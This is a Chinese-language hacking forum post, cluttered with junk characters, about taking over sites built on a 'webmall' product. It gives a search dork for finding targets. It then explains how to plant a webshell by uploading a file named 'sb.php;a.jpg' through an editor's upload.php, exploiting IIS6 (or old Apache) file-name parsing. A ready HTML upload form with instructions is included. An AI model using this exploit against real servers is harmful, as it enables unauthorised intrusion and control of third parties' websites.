关键字:inurl:webmall/detail.php?id" T- _; B/ r- ]' {' X, j
- i7 N) y9 k( [; _数据表:pwn_base_admin+ @* [( | t3 ^9 u, Z& I
L* U& |! E4 D8 U* g2 \; G关于拿shell1 o* T. N9 C/ ^1 I+ M
8 h: L5 N4 J/ d4 J# d5 |首先登录后台admin.php
' n2 X( ?' z3 B) _3 D: \ ! u8 Y- r6 N9 p# i4 @
看了upload.php源码,分析了一个下午,然后大约是明白了虽然上传那里只允许上传gif,jpg,png,bmp四种文件,但是并没有对文件名做限制。
% w4 U) I8 p1 n Y# n" z. r换句话说,sb.php;a.jpg这样的文件也是允许的,只要服务器是IIS6就拿到webshel,低版本的apache可以试着重命名为sb.php.jpg
+ B! z6 I& G, ?然后搞完了才发现,这里的比我的更精简,我那个蛋疼,膜拜下三石,然后就借用了,我的开始和他的一样是采取全部源码的,然后发现了更精简的 l+ x1 m$ E5 r8 z
<form name="uploadForm" method="post" enctype="multipart/form-data" action="http://xxx.com/kedit/upload_cgi/upload.php">
, I1 J3 n. n7 S5 ]. X<input type="text" name="fileName" value="sb.php;a.jpg" />
2 U6 w" ]5 ]1 `7 s8 I<input type="hidden" name="attachPath" value="news/pics/" /> ' ]" A* W5 l2 x) N- l/ d2 I
<input type="file" name="fileData" size="14" /></td> 9 G9 a3 ]' G. }& f4 ~# B
<input type="submit" name="button" value="确定" />
6 p5 q9 Z0 I6 @" k& H4 q</form>
2 a* e( x! U# } # k& ^9 W! x; ]
首先登录后台,然后把上面的文件保存为xx.html,修改action,然后再上传,如果为iis6就在上传了查看源码就好了。9 h% [- l2 O0 |8 Y5 ^, v
6 U A* ?/ [( @5 c1 O- M& K
|